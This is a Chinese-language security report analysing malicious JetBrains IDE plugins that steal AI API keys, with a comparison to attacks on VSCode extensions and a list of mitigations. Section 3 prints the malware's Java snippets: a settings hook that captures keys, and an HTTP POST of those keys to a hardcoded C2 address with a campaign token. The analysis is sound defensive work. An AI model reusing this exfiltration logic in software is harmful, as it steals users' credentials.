摘要
這份研究報告調查了在 JetBrains Marketplace 中發現的一起協同式惡意軟體活動,其中至少有 15 個 IDE 插件被發現正在外洩敏感的 AI 供應商 API Key。這些插件偽裝成合法的 AI 輔助開發工具,利用開發者對其整合開發環境 (Integrated Development Environment, IDE) 的既有信任。透過分析資料外洩機制的技術實作,並將其與在 Visual Studio Code 等其他 IDE 生態系中觀察到的類似供應鏈攻擊進行比較,此報告突顯了軟體開發生命週期中的關鍵漏洞。研究重點在於用於擷取、傳輸及替換使用者認證的程式化方法,並提供攻擊向量的詳細技術拆解。
1. 簡介
大型語言模型 (LLM) 整合至軟體開發工作流程中,使得大量目的在透過 AI 驅動的程式碼生成、審查與測試來提高生產力的 IDE 插件大量湧現。然而,此轉變也帶來了重大的安全風險:第三方擴充功能對長期 API 秘密的處理方式。近期研究發現,攻擊者正積極鎖定這些環境以竊取 Credential,這些 Credential 隨後會被轉售或用於未經授權的運算操作 [1] 。與傳統惡意軟體不同,這些惡意插件通常會正常運作其宣稱的功能,使得透過行為分析來偵測變得更加困難。
2. 技術架構與外洩工作流程
此惡意活動在多個供應商帳號間使用了標準化的程式庫,以在最大化觸及範圍的同時最小化開發成本。核心架構依賴於在使用者輸入 API Key 時攔截插件的設定狀態。由於 AI 插件通常需要這些 Key 才能與 OpenAI、DeepSeek 或 SiliconFlow 等供應商通訊,因此這種手法特別有效。
上圖說明了外洩過程的低調特性。使用者不會察覺其秘密 Key 正被傳輸至第三方伺服器,因為主要功能(接收 AI 回應)仍然正常運作。這種雙重用途的設計是現代 IDE 供應鏈攻擊的特徵,如同在關於 VSCode 擴充功能的類似研究中所指出的 [2] 。
3. 程式化深入剖析
此竊取行為的技術實作嵌入於插件的設定處理器中。以下取自主要調查的程式碼片段,展示了用於辨識及傳輸秘密的具體邏輯。
3.1 觸發狀態變更時的外洩
save()
方法是惡意邏輯的主要進入點。當使用者儲存其設定時,此方法會立即被呼叫,確保 Key 在提供當下即被擷取。
- // Snippet 1: The save() method triggering exfiltration [1]
- // This runs inside the settings apply() handler
- public static void save(String key) {
- // Check if the key matches the standard OpenAI-style prefix and length
- if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
- SoftwareDto dto = new SoftwareDto();
- dto.setApiKey(key); // Set the captured provider secret
- BaseUtil.request("key", dto); // Asynchronously ship the key to the attacker server
- }
- }
3.2 網路實作與 C2 通訊
外洩行為是透過未加密的 HTTP 執行,這雖是明顯的弱點,但在 IDE 內部流量的情境中常被忽略。使用寫死的靜態 Token 進行驗證,顯示存在一個集中式的命令與控制 (C2) 基礎架構。
- // Snippet 2: The network call implementation [1]
- // The destination is a hardcoded IP address
- URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
- connection.setRequestMethod("POST");
- // Static authentication token used to identify the malicious campaign
- connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
- // The 'vo' object contains the stolen apiKey in JSON format
- byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8);
3.3 動態 Key 替換邏輯
此活動的一個獨特之處在於伺服器端的 Key 替換。插件被設計成優先使用攻擊者伺服器提供的 Key,而非使用者提供的 Key,這可能讓攻擊者能在不同受害者之間「輪換」被竊的 Key。
- // Snippet 3: Logic for preferring server-supplied keys [1]
- // This method determines which key to use for actual AI provider calls
- public static String getKey() {
- // If BaseState.key (supplied by C2) is not blank, use it; otherwise, use the local key
- return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
- }
4. 與 VSCode 供應鏈攻擊的比較分析
在 JetBrains Marketplace 中觀察到的技術,與鎖定 Visual Studio Code (VSCode) 生態系的攻擊有顯著的相似之處。來自 前期文章 的研究指出,惡意擴充功能常使用標準的 Node.js API 來建立隱蔽的通訊管道 [2] 。
| 功能 | JetBrains 活動 (Java/Kotlin) | VSCode 活動 (Node.js) |
|---|---|---|
| 主要目標 | AI Provider API Keys (OpenAI, DeepSeek) | Personal Access Tokens (PATs), 原始碼 [2] |
| 外洩方式 |
Java
HttpURLConnection
|
Node.js
http
,
fetch
, 或
axios
[2]
|
| 持續性 | IDE 程序內的背景服務 |
透過
net
模組的 Reverse Shell
[2]
|
| 規避偵測 | 作為「wrapper」的合法功能 | 混淆與多階段 Payload [3] |
如
前期文章
所分析,使用事件監聽器是資料竊取的常見技術。例如,惡意的 VSCode 擴充功能常會使用
onDidChangeTextDocument
API 來監控檔案變更,以即時擷取原始碼
[3]
。雖然 JetBrains 插件專注於靜態設定的外洩,但濫用高權限 IDE API 的底層原則在不同平台間是一致的。
5. 安全影響與緩解措施
此活動的成功(達到近 70,000 次安裝)凸顯了手動市集審查的局限性。攻擊者可輕易地將惡意邏輯埋藏在龐大、功能正常的程式庫中來規避審查。為了降低此類風險,組織應採用多層次的防禦策略:
- Secret 掃描: 部署工具來掃描本機環境與 CI/CD Pipeline 中洩漏的 Credential,類似於現代安全平台所提供的防護 [1] 。
- 網路監控: 限制 IDE 程序對未知或非標準 IP Address 的對外連線,尤其是透過未加密協定如 HTTP 的連線。
- 最小權限原則: 將 IDE 插件視為高風險相依元件。開發人員應在安裝前審查插件,優先選擇具有開源程式庫與良好聲譽的插件。
6. 結論
開發者工作站的價值提升,使其成為 Credential 竊取的高價值目標,這是「AI 淘金熱」的直接後果。針對 JetBrains 用戶的協同式活動表明,攻擊者不再僅關注原始碼;他們正瞄準 AI API Key 所代表的財務與運算資源。隨著 IDE 生態系持續發展,必須重新評估擴充性與安全性之間的平衡,以保護軟體供應鏈的完整性。